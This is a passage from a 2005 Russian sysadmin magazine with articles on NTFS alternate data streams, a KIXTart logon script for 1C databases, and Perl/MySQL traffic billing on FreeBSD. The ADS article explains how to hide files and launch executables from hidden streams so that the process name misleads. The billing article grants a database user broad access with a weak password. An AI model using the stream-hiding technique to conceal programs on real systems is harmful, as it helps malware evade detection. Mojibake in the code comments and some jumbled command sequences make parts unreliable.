мы обнаружим в редакторе текст, который мы только что набирали и сохранили в ADS. Подтвердить наличие альтернативного потока можно также, если в «Проводнике» попытаться скопировать файл test.txt на носитель с файловой системой, отличной от NTFS (например, на дискету). При этом на экран будет выдано предупреждение о том, что копия файла на дискете не будет содержать данных ADS.

Примеры работы с альтернативными потоками данных Создание ADS и работа с использованием редактора NotePad Создадим на диске C: пустой файл test.txt, после чего выполним команду: NotePad C:\test.txt:example.txt

На предложение создать новый файл, ответим положительно (в записи test.txt:example.txt подразумевается, что example.txt – это имя потока для файла test.txt). Затем наберем произвольный текст и завершим работу с программой, сохранив изменения. При исследовании параметров файла C:\test.txt можно заметить, что размер файла test.txt по-прежнему равен нулю (из видимых обычными средствами параметров были модифицированы лишь даты последнего доступа и изменений). Выполнив команду: NotePad C:\test.txt:example.txt

44

Использование стандартных команд операционной системы Windows при работе с альтернативными потоками данных Для создания потока может быть применена стандартная операция перенаправления потока вывода. Например, выполнив команду: type C:\boot.ini > C:\test.txt:boot.ini

мы поместим в альтернативный поток содержимое файла, определяющего вариант загрузки операционной системы компьютера. Просмотреть данные, сохраненные в потоке, можно при помощи все того же редактора NotePad. Следует обратить внимание на то, что стандартные команды copy, type, del и прочие, предназначенные для выполнения операций с файлами, не позволяют использовать в именах файлов-параметров конструкции, характерные


администрирование для определения имени альтернативного потока. В этой связи выполнение файловых операций для ADS стандартными командами операционной системы затруднительно. Вместе с тем вывод на экран содержимого test.txt:boot.ini можно выполнить при помощи следующей команды: type C:\boot.ini > C:\test.txt:boot.ini

Для удаления всех имеющихся для файла альтернативных потоков можно воспользоваться следующим набором операций: ren temp.txt test.txt type temp.txt > test.txt del temp.txt

Использование стандартной команды copy для temp.txt в файловой системе NTFS позволяет создать точную копию файла, которая будет содержать поток исходного файла. Особо следует обратить внимание на то, что в файловой системе NTFS возможности создания ADS применимы как к файлам, так и к любым каталогам: md C:\example type C:\example.txt > c:\example:example.txt

или просто: type C:\example.txt > c:\:example.txt

Обработка документов Microsoft и OfficeWordPad, размещенных в альтернативных потоках данных Поместим в ADS документ Microsoft Word (при подготовке статьи автор использовал Microsoft Word 2002 SP-2 из состава Microsoft Office XP). Для этого создадим документ Word, сохраним его сначала в файл C:\example.doc, а затем с использованием операции перенаправления потока вывода в поток:

Просмотреть данные ADS в Microsoft Word нам удалось лишь в режиме «только чтение», закрыв все приложения указанного редактора, переименовав файл test.txt в test (исключив из имени файла расширение), выполнив следующую команду: "C:\Program Files\Microsoft Office\Office10\WinWord.exe" ↵ C:\test:example.doc

Сохранить изменения при работе WinWord с данными потока невозможно в связи с тем, что в программе реализован жесткий контроль имен файлов для сохранения информации. Что касается возможностей других распространенных составляющих Microsoft Office, то проверка показала полнофункциональные возможности обработки базы данных, сохраненной в потоке, для Access. Особенности для операций открытия и сохранения изменений электронной таблицы, содержащейся в ADS, с помощью Microsoft Excel аналогичны тем, что были указаны выше для Microsoft Word.

Запуск программ, сохраненных в альтернативном потоке данных Запустить обычным способом программы, сохраненные в ADS, не удастся. Однако как вариант можно применить команду start. Поместим программу WordPad.exe в альтернативный поток файла example.txt с одноименным названием: type WordPad.exe > C:\example.txt:WordPad.exe

Выполним команду: start C:\example.txt:WordPad.exe

и убедимся в том, что программа запущена. Обратим внимание на то, что в диспетчере задач Windows имя образа запущенного процесса будет указано не WordPad.exe, а example.txt.

type C:\example.doc > C:\test.txt:example.doc

Отметим, что в случае отсутствия файла C:\test.txt применение указанной команды создаст файл test.txt нулевого размера. Откроем содержимое файла в стандартном редакторе WordPad, выполнив следующую команду: «C:\Program Files\Windows NT\Accessories\WordPad.exe» ↵ C:\test.txt:example.doc

Редактор WordPad вполне сгодится для просмотра документов Microsoft Word, сохраненных в ADS. Следует отметить, что у пользователей могут возникнуть проблемы, связанные с тем, что WordPad обеспечивает сохранение информации только в формате Word для Windows 6.0 и файла RTF. При этом WordPad версии 5.0 (Windows 2000 Professional) не позволяет выполнить преобразование и сохранение документа, помещенного в альтернативный поток данных, в поддерживаемом формате. Для WordPad версии 5.1 (Windows XP) такие проблемы отсутствуют.

№3, март 2005

45


администрирование Специальные средства для поиска и работы с альтернативными потоками данных Если в первой части статьи для ADS были рассмотрены варианты работы с использованием стандартных возможностей, предоставляемых пользователям операционной системы, то ниже приведен обзор утилит, специально предназначенных для поиска потоков и выполнения с ними ряда операций, разработанных сторонними производителями. Создадим тестовый файл C:\example\example.txt и заполним все значения стандартных свойств для него, которые помещаются операционной системой в альтернативные потоки.

Программа обладает возможностью пропускать при поиске альтернативные потоки, которые имеют заданные в качестве параметров предопределенные имена, и предоставляет информацию о размере данных, содержащихся в ADS.

Stream (www.sysinternals.com) – программа, автором которой является известный среди программистов разработчик прикладных утилит Марк Русинович, доступна с исходными текстами. Параметры работы утилиты позволяют производить поиск файлов с ADS по подкаталогам, а также удалять найденные альтернативные потоки. К недостаткам следует отнести некорректное отображение русских символов в названиях файлов и каталогов, а также то, что программа не проверяет наличие ADS для корневого каталога.

Используем файл для наблюдения за результатами работы специальных утилит. LNS (http://ntsecurity.nu/toolbox/lns) – небольшая (менее 35 Кб) бесплатная консольная утилита, предназначенная для поиска файлов с ADS и информации об имеющихся альтернативных потоках. Программа не производит поиск ADS для каталогов. CrucialADS (http://crucialsecurity.com) – свободно распространяемая утилита, обладающая графическим интерфейсом. Реализует поиск на выбранных пользователем дисках файлов, содержащих ADS. К недостаткам следует отнести отсутствие следующих возможностей: ! сохранения информации, содержащейся в альтернативных потоках; ! определения размера данных для найденных потоков; ! поиска файлов с ADS на съемных носителях, отформатированных под NTFS.

LADS (http://www.heysoft.de) – свободно распространяемая консольная утилита поиска файлов, содержащих ADS.

46

Замечание: кроме того, также как lads, программа не проверяет наличие специфических данных для корневого каталога.


администрирование

NTFS Streams Info (http://www.isgeo.kiev.ua/shareware/ index.html) – программа, рекомендуемая автором статьи, предусматривает всю необходимую функциональность для поиска и исследования альтернативных потоков данных. Лицензия программы определена как условно бесплатная и предоставляет возможность демонстрационного использования в течение 30 дней, помещая в раздел реестра, описывающего настройки программного обеспечения, параметр со значением даты начала использования программы.

Программа позволяет искать файлы, содержащие ADS, выполнять над альтернативными потоками различные операции (удалять и создавать новые, помещать в ADS данные из заданного файла, извлекать данные потоков в файл). Ниже приводится предопределенный и накапливаемый в утилите список названий потоков.

Вместо эпилога Подведем некоторые итоги по материалу, изложенному выше. Альтернативные потоки данных предоставляют ши-

№3, март 2005

рокие возможности как в плане организации секретного хранения на жестком диске конфиденциальных данных владельца компьютера, так и сохранения информации, не санкционированного хозяином. В потоках могут содержаться текстовые документы, таблицы Excel и другие типы информации, которые можно обрабатывать как обычные файлы, без предварительного извлечения. В ADS могут храниться и запускаться на выполнение исполняемые модули. При этом информация в отношении имени запущенного модуля, отображаемого стандартными средствами операционной системы, может вводить в заблуждение относительно выполняемой процессором программы. При копировании файлов и каталогов, содержащих потоки, на стандартные съемные носители, которые обычно имеют файловую систему, отличную от NTFS, данные потоков не будут продублированы. Известны факты использования возможностей ADS как разработчиками вирусов и троянских утилит (в качестве примера можно указать Trojan.Comxt.B), так и авторами известных антивирусных программ. При использовании специальных программных средств для организации защиты компьютеров необходимо учитывать то обстоятельство, что разработчиками программ могли либо вообще не учитываться возможности поддержки ADS в файловой системе NTFS, либо быть допущены ошибки. Например, для ряда перечисленных выше специализированных утилит работы с альтернативными потоками данных не проверялось наличие ADS для каталогов и, в частности, для корневого каталога. Кроме того, при тестировании некоторых программ для гарантированной очистки было обнаружено, что при выполнении операции удаления файла, содержащего альтернативные потоки, не затирается информация, содержащаяся в ADS. Вместе с тем, особых проблем в этом нет, так как пользователи, применяющие средства гарантированного удаления, как правило, используют возможности очистки не занятого файлами и каталогами пространства диска, которые уничтожают оставшиеся следы ADS не до конца удаленных специфических файлов и каталогов.

Материалы: 1. «Альтернативные потоки данных NTFS», Дон Паркер, перевод Владимир Куксенок, http://www.securitylab.ru/ 53136.html. 2. «Прикладная информационная безопасность шаг за шагом», Сергей Гринкевич, http://www.securitylab.ru/ 52764.html. 3. «Подготовка и использование аварийного набора», Матт Леско, Журнал «Windows IT Pro», #08, 2004 год // Издательство «Открытые системы», http://www.osp.ru/ win2000/2004/08/042.htm. 4. «Hidden Threat: Alternate Data Streams», Ray Zadjmool, http://lib.training.ru/Lib/ArticleDetail.aspx?ar=5312&l=n&mi= 1326&mic=1337. 5. «FAQ: Alternate Data Streams in NTFS», http://www.hey soft.de Frames/f_faq_ads_en.htm. 6. «How To Use NTFS Alternate Data Streams», http://support. microsoft.com/default.aspx?scid=kb;en-us;Q105763&sd=tech.

47


администрирование

АВТОМАТИЗАЦИЯ ПРОЦЕССА ПОДКЛЮЧЕНИЯ БАЗ 1С С ПОМОЩЬЮ СЦЕНАРИЯ РЕГИСТРАЦИИ ПОЛЬЗОВАТЕЛЕЙ В СЕТИ

ИВАН КОРОБКО В крупных организациях, где штат бухгалтерии насчитывает не один десяток человек и одновременно эксплуатируется несколько баз 1С версии 7.7, актуальна проблема автоматизированного управления подключением бухгалтерских баз. В статье речь пойдет о том, как с помощью сценария регистрации пользователей в сети подключить бухгалтеру только те базы, с которыми он работает.

Основная идея Подключение баз основано на членстве учетных записей пользователей в соответствующих группах безопасности, находящихся в Active Directory, которые удовлетворяют нескольким условиям: ! Название группы состоит из 2 частей – префикса, который у всех групп одинаковый, и собственно названия группы. Оно совпадает с названием каталога, в котором физически находится подключаемая база 1С. ! Значением поля «Description» является название базы 1С, отображаемое в меню, которое появляется после запуска оболочки 1С (см. рис. 1).

основе данных из реестра – список подключенных баз. Затем, изменяя ветвь реестра HKCU (HKEY_CURRENT_USER), осуществляется сопоставление созданных списков: подключаются недостающие базы и отключаются лишние.

Сценарий регистрации пользователей в сети Для создания сценария рекомендуется использовать KIXTart (http://kixtart.org), поскольку он является наиболее подходящим для решения поставленной задачи. Сценарий регистрации условно можно разделить на несколько логических частей: ! подключение сетевого диска; ! формирование списка баз, которые должны быть подключены; ! формирование списка баз, которые подключены в настоящее время; ! сопоставление сформированных списков, запись данных в реестр рабочей станции.

Подключение сетевых дисков Во время входа в сеть от имени пользователя запускается сценарий регистрации пользователей в сети, который во время своей работы составляет два списка баз. Один из них – список подключаемых баз. Он формируется на основе данных из Active Directory. Второй список формируется на

48

Доступ к базам, расположенным на сервере, рекомендуется осуществлять с помощью подключения сетевого диска. Для этого необходимо знать два параметра: букву, к которой будет монтироваться ресурс, и UNC-путь к нему. Все задаваемые вручную параметры принято выносить


администрирование в конфигурационный файл. KIXTart обладает встроенной поддержкой INI-файлов, которые удобно использовать в качестве конфигурационных файлов. INI-файл представляет собой текстовый файл, имеющий следующую структуру: [ðàçäåëM] ïàðàìåòð1M=çíà÷åíèå1M ïàðàìåòð2M =çíà÷åíèå2M ………………………. ïàðàìåòðNM=çíà÷åíèåNM

Создадим конфигурационный файл config.ini со следующим содержимым: [1C] 1C_Letter=R 1C_Path=\\Server\1C_Bases$

Чтение конфигурационного файла осуществляется с помощью функции ReadProfileString(): value=ReadProfileString ("file_name", "section", "key")

где value – возвращаемое значение параметра key раздела section файла file_name. Подключение сетевого диска выглядит следующим образом: $FName=”config.ini” $Section=”1C” $1C_Letter_VaL = ReadProfileString($FName, $Section, ↵ “1C_Letter”) ;÷òåíèå ïàðàìåòðà 1C_Letter $1C_Path_Val = ReadProfileString($FName, $Section, ↵ “1C_Path”) ; ÷òåíèå ïàðàìåòðà 1C_Path ; îòêëþ÷åíèå ñåòåâîãî äèñêà Use $1C_Letter_Val + ":" /delete /persistent ; ïîäêëþ÷åíèå ñåòåâîãî äèñêà Use $1C_Letter_Val + ":" $1c_Path_Val

Формирование списка подключаемых баз Список подключаемых баз формируется на основе членства учетных записей пользователей в соответствующих группах безопасности. Как отмечалось ранее, в названиях этих групп присутствует префикс, который также необходимо указать в конфигурационном файле:

Ðèñóíîê 1

№3, март 2005

49


администрирование [1C] 1C_Prefix=”1C$_”

В результате формируется массив. Его элементами являются название базы и полный путь к каталогу, которые разделены специальным символом. Его также рекомендуется описать в конфигурационном файле: [1C] 1C_Symbol=”#”

Такая структура элемента массива продиктована выполнением нескольких условий: ! Управление осуществляется только сетевыми базами. Список подключенных локальных баз не корректируется. ! Некорректные названия сетевых баз будут исправлены. Поскольку сценарий загрузки запускается от имени пользователя, который осуществляет вход в сеть, то нет необходимости осуществлять поиск необходимых групп среди всех групп домена с помощью ADODB. Рационально воспользоваться встроенной функцией в KIXTart EnumGroup(), которая возвращает список групп, в которые входит текущий пользователь, и из этого списка отобрать группы, имеющие оговоренный префикс: … $meta = ReadProfileString($FName, $Section, “1C_Symbol”) $p=0 DO $group=EnumGoup($p) If Instr($group, $meta)<>0 ? $group End if UNTIL Len($group)=0

Значение переменной $group строится в соответствии со следующим шаблоном: Domain\Group_Name, поэтому для формирования пути к каталогу необходимо вычленить составляющую Group_Name. Листинг, формирующий полный путь к каталогу, содержащего базу 1C, следующий: $1C_Letter_VaL = ReadProfileString($FName, $Section, ↵ “1C_Letter”) $1C_Group=Right($group, ↵ Len(group)-InstrRev($group,”\”)-Len($meta)) ; âèä ïåðåìåííîé R:\Folder_with_Base $1C_Base=$1C_Letter_VaL+”:\”+$1C_Group

Второй частью элемента формирующегося массива является описание группы. Чтение этого свойства можно реализовать как с помощью провайдера WinNT, так и LDAP. Приведем оба варианта. Для доступа к объекту AD необходимо либо указать имя домена в явном виде, либо создать сценарий для определения текущего домена. По понятным причинам, указывать имя домена в явном виде некорректно, поэтому создадим сценарий для определения длинного (используется провайдером LDAP) и короткого (используется провайдером WinNT) имен доменов: Set rootDSE_ = GetObject("LDAP://RootDSE") d_def=rootDSE_.Get("defaultNamingContext") long_Ldap_name = "LDAP://" + d_def short_WinNT_name= mid(d_def, ↵ instr(d_def,"=")+1,instr(d_def,",")-instr(d_def,"=")-1) Wscript.Echo long_Ldap_name ; èìååò âèä «DC=domain, DC=ru» Wscript.Echo short_ WinNT_name ; èìååò âèä «Domain»

50

Для провайдера WinNT описание группы определяется следующим образом: $1C_Group_Descr=GetObject ↵ (“WinNT://”+short_WinNT_name+”/”+$1C_Group).Description

Для провайдера LDAP описание группы определяется так: $strADSQuery = "SELECT description FROM ↵ 'LDAP://" + $long_Ldap_name + "' ↵ WHERE Name = "' + $1C_Group + "' and objectClass='group'" $objADOConn = createObject("ADODB.Connection") $objADOConn.Provider = "ADsDSOObject" $objADoConn.Open ("Active Directory Provider") $objADOCommand = CreateObject("ADODB.Command") $objADOCommand.ActiveConnection = $objADOConn $objADOCommand.CommandText = $strADSQuery $objQueryResultSet = $objADOCommand.Execute $1C_Group_Descr =$objQueryResultSet.Fields("description")

Оба варианта имеют право на жизнь, и скорость их работы примерно одинакова, однако рекомендуется использовать второй вариант, несмотря на то что он выглядит громоздким. Дело в том, что провайдер WinNT был разработан для Windows NT, а LDAP – для Windows 2000. В ближайшем будущем, компания Microsoft, наверное, откажется от поддержки провайдера WinNT. Таким образом, сценарий, формирующий массив, элементы которого включают в себя путь и название базы, выглядит следующим образом: $meta = ReadProfileString($FName, $Section, “1C_Symbol”) $1C_Letter_VaL = ReadProfileString($FName, $Section, ↵ “1C_Letter”) Set rootDSE_ = GetObject("LDAP://RootDSE") d_def=rootDSE_.Get("defaultNamingContext") long_Ldap_name = "LDAP://" + d_def $p=0 $q=0 Dim $1C_Must[] DO $group=EnumGoup($p) If Instr($group, $meta)<>0 $1C_Group=Right($group, ↵ Len(group)-InstrRev($group,”\”)-Len($meta)) ;âèä ïåðåìåííîé R:\Folder_with_Base $1C_Base=$1C_Letter_VaL+”:\”+$1C_Group $strADSQuery = "SELECT description FROM ↵ 'LDAP://" + $long_Ldap_name + "' ↵ WHERE Name = "' + $1C_Group + "' and objectClass='group'" $objADOConn = createObject("ADODB.Connection") $objADOConn.Provider = "ADsDSOObject" $objADoConn.Open ("Active Directory Provider") $objADOCommand = CreateObject("ADODB.Command") $objADOCommand.ActiveConnection = $objADOConn $objADOCommand.CommandText = $strADSQuery $objQueryResultSet = $objADOCommand.Execute $1C_Group_Descr =$objQueryResultSet.Fields("description") ; ïåðåîïðåäåëåíèå ðàçìåðà äèíàìè÷åñêîãî ìàññèâà Redim Preserve $1C_Must[$q] $1C_Must[$q]= UCase($1C_Base)+$meta+$1C_Group_Descr $q=$q+1 End if $p=$p+1 UNTIL Len($group)=0

Формирование списка подключенных баз Список баз определяется чтением параметров и значений из соответствующей ветви реестра в массив, структура элементов которого аналогична элементам массива $1C_


администрирование Must[$q]. Ветвь реестра, из которой будет читаться информация, рекомендуется описать в конфигурационном файле (см. рис. 1): [1C] ; ïî óìîë÷àíèþ âåòâü HKCU 1C_Registry=Software\1c\1cv7\7.7\Titles

Чтение списка параметров из раздела Titles, названия которых являются путями к каталогам, в которых находятся базы 1С, осуществляется с помощью функции EnumValue() (см. рис. 1), а значений параметров, являющихся названиями баз, считываемые из поля Description групп безопасности, – с помощью функции ReadValue(): $1C_Registry_Val = ReadProfileString($FName, $Section, “1C_Registry”) dim $1c_connected[] $m=0 $n=0 DO $1c_Title=EnumValue($1C_Registry_Val, $m) $1c_Name=ReadValue($1C_Registry_Val, $1c_Title) if Lcase(Left($1c_Title,1))= ↵ Lcase($1C_Letter_VaL) ReDim Preserve $1C_Connected[$n] $1C_Connected[$n]= ↵ ↵ Ucase($1c_Title)+↵ $meta +$1c_Name $n=$n+1 endif $m = $m + 1 UNTIL Len($1c_Title) =0

Таким образом, имеется два массива – уже подключенных баз и баз, которые должны быть подключены. Структура элементов обоих массивов одинакова. Элемент массива включает в себя локальный путь к базе и ее название. Эти параметры разделены уникальным символом.

Сопоставление сформированных списков баз Сопоставление списков осуществляется в два этапа: на первом из них происходит удаление лишних баз. Напомним, что управление реализовано только для сетевых баз. Локальные базы сценарий загрузки «не трогает». Сопоставление списков осуществляется с помощью функции AScan(), которая ищет совпадающие элементы в массивах. Удаление лишних баз осуществляется стиранием лишнего параметра в реестре с помощью функции DelValue(). На втором этапе добавляются отсутствующие базы с помощью той же самой функции AScan(). Используя её, в качестве параметров указывается и в первом и во втором случае одни и те же массивы. Только в первом случае анализируемым массивом является $1c_Must[], а во втором – 1c_Connected[]: ; óäàëåíèå ëèøíèõ áàç for $dfg=0 to ubound($1c_Ñonnected) $flag_p=0 $flag_p=AScan($1c_Must, $1c_Connected[$dfg]) if $flag_p=-1 $group=$1c_Connected[$dfg] DelValue ($1c_path, ↵ Left($Group,Instrrev($Group,$meta)-1)) endif next ; ïîäêëþ÷åíèå íåäîñòàþùèõ áàç for $dfg=0 to ubound($1c_must) $flag_p=0 $flag_p=Ascan($1c_connected,$1c_must[$dfg]) if $flag_p=-1

№3, март 2005

$group=$1c_must[$dfg] WriteValue ($1c_Path, Left($group, ↵ Instrrev($group,$meta)-1), Right($group, ↵ Len($group)-Instrrev($group, $meta) - Len($meta)+1), ↵ "REG_SZ") endif next

Установка пользователя 1С по умолчанию Осуществив вход в сеть, пользователь, запускающий 1С ожидает увидеть, что при авторизации входа в базу 1С из списка ему будет предложено по умолчанию его имя. Для того чтобы это реализовать, необходимо, чтобы имя пользователя в сети и 1С либо совпадали, либо были взаимосвязаны при помощи какого-либо правила. Для удобства работы пользователей рекомендуется сделать имена пользователей в сети и в 1С идентичными. Имя пользователя по умолчанию в каждой базе отдельно в разделе HKCU\Software\1c\1cv7\7.7\BASE_NAME|startup значением параметра UserName. Поскольку значение этого параметра совпадает с именем пользователя в сети, то рекомендуется воспользоваться одним из встроенных макросов в KIXTart – @userid, с помощью которого определяется имя текущего пользователя. Листинг этой функции выглядит следующим образом: WriteValue ($1c_base+"\"+Right($group, ↵ ↵ Len($group) - Instrrev($group, $meta)-↵ Len($meta)+1)+"\StartUp", "UserName", @userid, "REG_SZ")

Листинг рекомендуется включить в процедуру сопоставления списка баз в раздел добавления баз, сразу после функции записи нового значения базы в разделе Titles. В том случае если указанное имя пользователя не найдено (см. рис. 2) в списке пользователей 1С, то сама программа уничтожит созданную запись пользователя по умолчанию, и пользователь увидит пустое поле. С помощью раскрывающегося списка он должен будет выбрать имя пользователя, под которым он будет работать с базой 1С.

Ðèñóíîê 2

Заключение Результатом работы созданного сценария является формирование списка баз 1С, с которыми пользователь имеет право работать. При выборе базы 1С, имя пользователя по умолчанию определяется автоматически. Таким образом, при переходе бухгалтера с одной рабочей станции на другую или смены его должностных обязанностей, затраты на администрирование значительно сокращаются: управление подключением баз осуществляется в автоматическом режиме. Новый инструмент может быть подключен к сценарию регистрации пользователей в сети в качестве функции. В приложении (на сайте журнала http://samag.ru в разделе «Исходный код») приведены примеры листинга конфигурационного файла config.ini и непосредственно сценарий.

51


администрирование

САГА О БИЛЛИНГЕ, ИЛИ СЧИТАЕМ ТРАФИК НА FreeBSD (ng_ipacct + Perl + MySQL) ЧАСТЬ 2

ВЛАДИМИР ЧИЖИКОВ В предыдущей части статьи мы рассмотрели, как установить и запустить ng_ipacct, а также рассмотрели создание своих собственных скриптов для запуска и остановки разрабатываемой системы учета трафика. Дальнейшая цель – получить статистику и поместить ее в базу. Что нам для этого нужно? В первой части статьи, когда описывался ng_ipacct, указывалось, что для снятия статистики необходимо последовательно проделать следующее: передать данные в checkpoint-базу, потом вывести данные при помощи show (перенаправить в файл) и очистить checkpoint для получения следующей порции данных. Таким образом, мы сразу же определили, что нам нужно сложить статистику в файл при помощи перенаправления вывода show. А после этого, уже считывая из файла данные, отправить в базу. Для того чтобы не было смешивания всех интерфейсов в одном файле, мы также должны условиться заранее, что для каждого интерфейса будет создан свой собственный файл статистики, а также один общий, куда будет складываться статистика со всех интерфейсов. В этих файлах будет указано имя хоста, время получения порции записей, дата и самое главное – интерфейс. Почему так акцентируется внимание на интерфейсе? Очень просто. У нас могут быть каналы на одной машине, где локальный трафик считается, а также где он бесплатный. Учесть нам необходимо платный. Соответственно нужно знать, какой интерфейс принял или отправил пакет. Что ж, основная установка сделана. Остальное – по ходу повествования. Для начала создадим две вещи: базу, куда будут записываться данные, и папку, где будут располагаться временные файлы со статистикой интерфейсов. mysql> create database ng_stat; Query OK, 1 row affected (0.04 sec) mysql> grant insert,create,update,select,delete on ng_stat.* to nguser@'%' identifiedby 'ngpassword'; Query OK, 0 rows affected (0.08 sec)

Одновременно были даны права пользователю nguser на добавление, обновление, удаление записей и их выборку, а также на создание таблиц. Итак, вновь возвращаемся к написанию скриптов: # touch ng_stat_in.pl

И начинаем вносить данные. Первым делом необходимо подключить два модуля perl, которые будут использоваться:

52

#!/usr/bin/perl -w use DBI; use Time::localtime;

Последний у вас должен быть по умолчанию в системе, а вот наличие DBI необходимо проверить. Самый простой способ – отправить на исполнение скрипт уже в таком виде. Выдаст ошибку – значит, отсутствует или не соответствует текущей версии perl (например, вы обновили perl, а все сопутствующие модули нет). Что ж, это поправимо: # # # #

cd /usr/ports/databases/p5-DBI/ make && make install && make clean && rehash cd /usr/ports/databases/p5-DBD-mysql make && make install && make clean && rehash

Если у вас стоит MySQL не 3.23 версии, а 4 и выше, то выберите соответствующий вариант вместо p5-DBD-mysql. После этого можно смело приступать к дальнейшим манипуляциям. Для подключения к базе данных нужно снова считать конфигурационный файл и все параметры, необходимые для того, чтобы выяснить: ! какие интерфейсы подключены; ! имя сервера базы данных; ! имя базы данных; ! имя и пароль пользователя для доступа к базе. Все это описано в конфигурационном файле (смотрите первую часть статьи в №2, 2005 г.). Но сначала опять нужно задать основные переменные. # Ñïèñîê îñíîâíûõ ïåðåìåííûõ my $serverdb = "test"; my $dbname = "test"; my $dbuser = "test"; my $dbpass = "test"; my $table_auth = "test"; my $table_proto = "test"; my $listen_host = "test"; my @listen_interf; my @ng_modules; my $ng_modules_def = "netgraph,ng_ether,ng_socket, ↵ ng_tee,ng_ipacct"; my $threshold = 5000; my $ipacct_log = '/usr/local/script/ng_stat/log/ng.log';

Некоторые из них нам не потребуются. Но это удобная заготовка для всех скриптов. Мы по очереди вносим необходимые параметры, всего лишь модернизируя уже имеющийся скрипт. «Лишние» переменные можно будет убрать на этапе отладки.


администрирование Самое важное в этом списке «my $ipacct_log = “/usr/local/ script/ng_stat/log/ng.log”» – мы указали расположение основного файла, куда по умолчанию будет записываться вся статистика (с интерфейсами, временем и т. д.). Что ж, читаем дальше конфигурационный файл. Он остается без изменений, так что приводить его не буду. Проверяем время на машине. Именно это время и будет записываться в базу: # Ïðîâåðÿåì âðåìÿ. $gm = localtime(); $year = ($gm->year()) + 1900; $mounth = ($gm->mon()) + 1; $mday = $gm->mday(); $date = "$mday-$mounth-$year"; $hour = $gm->hour(); $min = $gm->min(); $sec = $gm->sec(); $hour=sprintf("%02d",$hour); $min=sprintf("%02d",$min); $sec=sprintf("%02d",$sec); $time = "$hour\:$min\:$sec"; $table_date = "$year\_$mounth";

Почему в переменной $year мы добавляем 1900? Очень просто – она ведет отсчет от 1900 года. Почему в месяцах прибавляем единицу? Переменная возвращает значения от 0 до 11. Функция sprintf вернет значения переменных $hour, $sec и $min числом из двух цифр, если полученное значение будет меньше 10. Например, одна секунда, после получения ее значения, будет 1, а нужно 01. Последний параметр $table_date определяет имя таблицы в базе данных. Далее идет конструкция для проверки, установлены интерфейсы или нет. Если все в порядке, начинаем подготовку к тому, чтобы закачивать данные на сервер. Первым делом необходимо получить данные с интерфейсов и записать во временные файлы. while (@listen_interf){ $interface = shift @listen_interf; my $pid; $pid = fork; if (defined $pid) { if ($pid == 0){ #$IPACCTCTL ${IFACE}_ip_acct:$IFACE checkpoint exec "/usr/local/sbin/ipacctctl ↵ $interface\_ip_acct:$interface checkpoint" or die ↵ "Îøèáêà ïåðåäà÷è çàïèñè â checkpoint-áàçó!\n"; exit; } } else { ↵ print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ \n.................\n"; ↵ die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵ \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n"; } do { $kid = waitpid $pid,0; if ($kid == -1) { print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵ èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵ and die "Âûõîä!\n"; } elsif ($kid == 0) { print "Çàäàí íå áëîêèðóþùèé ↵ âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n"; } } until $kid=$pid; undef $pid; $pid = fork; if (defined $pid) { if ($pid == 0){

№3, март 2005

#$IPACCTCTL ${IFACE}_ip_acct:$IFACE show >> $DIR/$SDIR/$NAME exec "/usr/local/sbin/ipacctctl ↵ $interface\_ip_acct:$interface show >> ↵ $ipacct_log\.$interface" or die "Îøèáêà ïåðåäà÷è ↵ çàïèñåé èç checkpoint-áàçû â ôàéë!\n"; exit; } } else { ↵ print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ \n.................\n"; ↵ die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵ \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n"; } do { $kid = waitpid $pid,0; if ($kid == -1) { print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵ èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵ and die "Âûõîä!\n"; } elsif ($kid == 0) { print "Çàäàí íå áëîêèðóþùèé ↵ âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n"; } } until $kid=$pid; undef $pid; $pid = fork; if (defined $pid) { if ($pid == 0){ #$IPACCTCTL ${IFACE}_ip_acct:$IFACE clear exec "/usr/local/sbin/ipacctctl ↵ $interface\_ip_acct:$interface clear" or die ↵ "Îøèáêà ïðè î÷èñòêå checkpoint-áàçû! \nÁàçà íå î÷èùåíà. ↵ Âîçìîæíî ïåðåïîëíåíèå. Î÷èñòèòå áàçó â ðó÷íóþ\n"; exit; } } else { ↵ print "Ôàòàëüíàÿ îøèáêà âåòâëåíèÿ!↵ \n.................\n"; ↵ die "Ðàçäåëåíèå íà ïðîöåññû íåâîçìîæíî.↵ \n Ïðèíóäèòåëüíûé âûõîä èç äî÷åðíåãî ïðîöåññà: $!\n"; } do { $kid = waitpid $pid,0; if ($kid == -1) { print "Äî÷åðíèõ ïðîöåññîâ â ñèñòåìå íåò ↵ èëè ñèñòåìà íå ïîääåðæèâàåò èõ.\n Îøèáêà!" ↵ and die "Âûõîä!\n"; } elsif ($kid == 0) { print "Çàäàí íå áëîêèðóþùèé ↵ âûçîâ è ïðîöåññ åùå íå çàâåðøåí!\n"; } } until $kid=$pid; undef $pid; $TMPLOG= "$ipacct_log\.$interface"; open (TMPLOG, "$TMPLOG"); $TMPLOG =~ s/\||`|&&|<|>//gi; #Î÷èñòêà ðÿäà ↵ ñèìâîëîâ | ` && < > èç ïóòè ê ôàéëó. while (<TMPLOG>){ $tmp_log_line=$_; chomp $tmp_log_line; $tmp_log_line = "$tmp_log_line $date ↵ $time $listen_host $interface"; push @ipacct_arr,$tmp_log_line; } close (TMPLOG); truncate ($TMPLOG,0); }

undef $pid;

Обращаю внимание на то, что полный путь к ipacctctl хранится в переменной $ipacctctl – так как скрипт будет работать по cron, то здесь желательно указать полный путь к нему, ибо не всегда cron сможет получить переменные из профиля того пользователя, от имени которого будет исполняться команда или программа. Как видите, первыми идут checkpoint, show, clear. На этапе show мы перенаправляем данные во временный файл.

53


администрирование Временный файл определяется основным файлом статистики с приставкой имени интерфейса, то есть для rl0 он будет выглядеть как /usr/local/script/ng_stat/log/ng.log.rl0. И так поочередно для каждого из интерфейсов. После занесения данных эти файлы считываются. Каждая строка из них будет дополнена необходимой информацией (дата, время, имя хоста, интерфейс) и занесена в массив. $tmp_log_line = "$tmp_log_line $date $time $listen_host ↵ $interface"; push @ipacct_arr,$tmp_log_line;

